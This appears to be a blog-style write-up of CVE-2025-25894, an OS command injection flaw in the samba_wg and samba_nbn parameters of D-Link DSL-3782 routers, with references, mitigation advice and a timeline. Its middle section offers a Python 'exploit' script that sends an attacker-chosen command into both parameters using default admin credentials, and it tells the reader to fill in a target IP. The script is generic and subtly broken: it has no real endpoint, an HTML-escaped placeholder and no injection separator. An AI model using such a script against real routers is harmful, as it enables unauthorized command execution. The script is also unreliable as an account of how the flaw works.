A recently-discovered vulnerability, CVE-2025-25894, has been identified in the D-Link DSL-3782 v1.01 router firmware, which allows attackers to execute arbitrary Operating System (OS) commands via a crafted packet. The issue arises from an OS command injection vulnerability in the router's firmware and affects the samba_wg and samba_nbn parameters. In this long read post, we will look into the exploit details, code snippets, and original references that shed light on this vulnerability.

Exploit Details

The discovered vulnerability is an OS command injection one; this means that an attacker may execute arbitrary OS commands by sending a specially-crafted packet to the target device. In the case of CVE-2025-25894, the malicious packet can be injected into the samba_wg and samba_nbn parameters, providing the attacker with unauthorized access to execute OS commands on the target device.

Code Snippet

The following is a simple example of a Python script that can exploit the CVE-2025-25894 vulnerability:

import requests
import sys

target_url = 'http://<target_ip>/';
username = 'admin'
password = 'admin'

# Replace '<command>' with the command you want to execute
payload = '&lt;command&gt;'

data = {
    'samba_wg': payload,
    'samba_nbn': payload,
}

requests.post(target_url, data=data, auth=(username, password))

Ensure that you replace <target_ip> with the IP address of the targeted device and <command> with the command you want to run on the targeted system. Note that the provided example assumes that the router's login credentials are left as default ("admin" as the username and "admin" as the password). You may need to modify the code based on the actual login credentials of the targeted device.

Original References

The vulnerability, tracked under CVE-2025-25894, was initially discovered by security researchers who promptly reported their findings to the vendor, D-Link. Further information concerning this vulnerability can be found in the following resources:

1. The official CVE Details page: https://www.cvedetails.com/cve/CVE-2025-25894/
2. The National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2025-25894

Mitigation

If you are using D-Link DSL-3782 v1.01, it is strongly recommended that you update your firmware to the latest available version supplied by D-Link. As this vulnerability specifically targets the samba_wg and samba_nbn parameters, disabling these features on your router may offer some protection from the exploit until you can apply the necessary firmware update. Additionally, changing the router's login credentials from their default settings, as well as implementing strong network security measures such as firewalls and intrusion prevention systems, can help further reduce the risk of exploitation.

Conclusion

CVE-2025-25894 is a concerning vulnerability in D-Link DSL-3782 v1.01 that allows for arbitrary OS command injection via the samba_wg and samba_nbn parameters. Users who are running this firmware version on their routers should update to the latest version at their earliest convenience to protect their systems from this exploit. As always, remain vigilant when it comes to your network security and follow best practices to ensure the safety and integrity of your information systems.

Timeline

Published on: 02/18/2025 22:15:19 UTC
Last modified on: 02/19/2025 16:15:41 UTC